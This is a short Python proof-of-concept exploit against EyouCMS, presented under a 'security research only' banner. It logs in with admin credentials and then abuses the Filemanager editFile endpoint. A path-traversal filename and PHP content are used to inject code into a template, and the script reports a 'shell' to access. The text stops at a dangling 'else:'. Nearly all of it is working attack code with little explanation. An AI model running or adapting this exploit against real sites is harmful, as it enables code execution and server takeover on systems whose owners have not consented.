⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "http://target-eyoucms.com"
admin_username = "admin"
admin_password = "password"
session = requests.Session()

# 1. Login to get session
login_payload = {
    "username": admin_username,
    "password": admin_password
}
login_resp = session.post(f"{target_url}/login.php", data=login_payload)
if login_resp.status_code != 200:
    print("Login failed")
    exit()

# 2. Exploit via editFile function
# Injecting a simple phpinfo() into a template file
exploit_payload = {
    "filename": "../application/index/view/index/index.htm", # Example target path
    "content": "<?php phpinfo(); ?>" # Malicious code injection
}

exploit_url = f"{target_url}/admin.php?c=Filemanager&a=editFile"
response = session.post(exploit_url, data=exploit_payload)

if response.status_code == 200 and "success" in response.text:
    print("[+] Exploit successful! Malicious code injected.")
    print(f"[+] Access your shell at: {target_url}/index.php")
else:
